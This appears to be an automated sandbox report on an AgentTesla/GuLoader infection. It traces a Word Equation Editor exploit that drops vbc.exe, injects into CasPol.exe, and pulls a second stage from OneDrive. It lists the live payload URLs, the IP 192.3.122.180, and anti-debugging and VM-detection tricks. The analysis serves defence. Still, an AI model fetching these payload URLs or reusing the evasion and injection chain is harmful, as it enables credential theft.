Source: CasPol.exe, 00000009.00000002.679794080.0000000000190000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32APPDATA=\MISV.EXEHTTPS://ONEDRIVE.LIVE.COM/DOWNLOAD?CID=5A15FDA1AE98540B&RESID=5A15FDA1AE98540B%21129&AUTHKEY=AC3DY6XZGK4LCRCHTTPS://ONEDRIVE.LIVE.COM/DOWNLOAD?CID=5A15FDA1AE98540B&RESID=5A15FDA1AE98540B%21130&AUTHKEY=AF6G200UHTICGQA
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2796 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 2660 Thread sleep time: -300000s >= -30000s Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056C015 rdtsc 9_2_0056C015
Source: C:\Users\Public\vbc.exe Code function: 3_2_00406873 FindFirstFileW,FindClose, 3_2_00406873
Source: C:\Users\Public\vbc.exe Code function: 3_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 3_2_00405C49
Source: C:\Users\Public\vbc.exe Code function: 3_2_0040290B FindFirstFileW, 3_2_0040290B
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe System information queried: ModuleInformation Jump to behavior
Source: CasPol.exe, 00000009.00000002.680256332.00000000008D0000.00000004.00000020.sdmp Binary or memory string: VMware_S
Source: CasPol.exe, 00000009.00000002.680232197.000000000089E000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: CasPol.exe, 00000009.00000002.679794080.0000000000190000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32APPDATA=\misv.exehttps://onedrive.live.com/download?cid=5A15FDA1AE98540B&resid=5A15FDA1AE98540B%21129&authkey=AC3Dy6XZGk4Lcrchttps://onedrive.live.com/download?cid=5A15FDA1AE98540B&resid=5A15FDA1AE98540B%21130&authkey=AF6g200UHTiCgqA
Source: CasPol.exe, 00000009.00000002.679794080.0000000000190000.00000004.00000001.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

barindex
Hides threads from debuggers
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread information set: HideFromDebugger Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056C015 rdtsc 9_2_0056C015
Contains functionality to read the PEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00570CCB mov eax, dword ptr fs:[00000030h] 9_2_00570CCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00570114 mov eax, dword ptr fs:[00000030h] 9_2_00570114
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00567A91 mov eax, dword ptr fs:[00000030h] 9_2_00567A91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_00572332 mov eax, dword ptr fs:[00000030h] 9_2_00572332
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 9_2_0056B7B6 mov eax, dword ptr fs:[00000030h] 9_2_0056B7B6

HIPS / PFW / Operating System Protection Evasion:

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Writes to foreign memory regions
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 560000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\user\AppData\Local\Temp\Acly3.exe C:\Users\user\AppData\Local\Temp\Acly3.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\AppData\Local\Temp\Acly3.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\AppData\Local\Temp\Acly3.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Acly3.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\AppData\Local\Temp\Acly3.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process created: C:\Users\user\AppData\Roaming\misv.exe "C:\Users\user\AppData\Roaming\misv.exe" Jump to behavior
Source: CasPol.exe, 00000009.00000002.680891586.0000000000F50000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: CasPol.exe, 00000009.00000002.680891586.0000000000F50000.00000002.00020000.sdmp Binary or memory string: !Progman
Source: CasPol.exe, 00000009.00000002.680891586.0000000000F50000.00000002.00020000.sdmp Binary or memory string: Program Manager<
Source: C:\Users\Public\vbc.exe Code function: 3_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 3_2_0040352D

Stealing of Sensitive Information:

barindex
Yara detected AgentTesla
Source: Yara match File source: 00000009.00000002.690406382.000000001E5B1000.00000004.00000001.sdmp, type: MEMORY
GuLoader behavior detected
Source: Initial file Signature Results: GuLoader behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000009.00000002.690406382.000000001E5B1000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected AgentTesla
Source: Yara match File source: 00000009.00000002.690406382.000000001E5B1000.00000004.00000001.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 532227 Sample: T81Ip9NCGi Startdate: 01/12/2021 Architecture: WINDOWS Score: 100 57 Found malware configuration 2->57 59 Antivirus detection for URL or domain 2->59 61 Antivirus detection for dropped file 2->61 63 15 other signatures 2->63 9 EQNEDT32.EXE 12 2->9         started        14 WINWORD.EXE 291 19 2->14         started        process3 dnsIp4 51 192.3.122.180, 49165, 80 AS-COLOCROSSINGUS United States 9->51 39 C:\Users\user\AppData\Local\...\vbc[1].exe, PE32 9->39 dropped 41 C:\Users\Public\vbc.exe, PE32 9->41 dropped 75 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 9->75 16 vbc.exe 9 9->16         started        43 ~WRF{F8012674-B7CB...0-A31E79A66D61}.tmp, Composite 14->43 dropped file5 signatures6 process7 file8 35 C:\Users\user\AppData\Local\Temp\Acly3.exe, PE32 16->35 dropped 55 Multi AV Scanner detection for dropped file 16->55 20 Acly3.exe 16->20         started        signatures9 process10 signatures11 65 Writes to foreign memory regions 20->65 67 Tries to detect Any.run 20->67 69 Hides threads from debuggers 20->69 23 CasPol.exe 13 20->23         started        28 CasPol.exe 20->28         started        30 CasPol.exe 20->30         started        process12 dnsIp13 45 onedrive.live.com 23->45 47 fspzka.bl.files.1drv.com 23->47 49 2 other IPs or domains 23->49 37 C:\Users\user\AppData\Roaming\misv.exe, PE32 23->37 dropped 71 Tries to detect Any.run 23->71 73 Hides threads from debuggers 23->73 32 misv.exe 9 23->32         started        file14 signatures15 process16 signatures17 53 Machine Learning detection for dropped file 32->53
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
192.3.122.180
 unknown United States
36352 AS-COLOCROSSINGUS true

Contacted Domains

Name IP Active
onedrive.live.com unknown unknown
eruitg.bl.files.1drv.com unknown unknown
fspzka.bl.files.1drv.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://192.3.122.180/1100/vbc.exe true
  • Avira URL Cloud: malware
 unknown
https://onedrive.live.com/download?cid=5A15FDA1AE9 false
    		high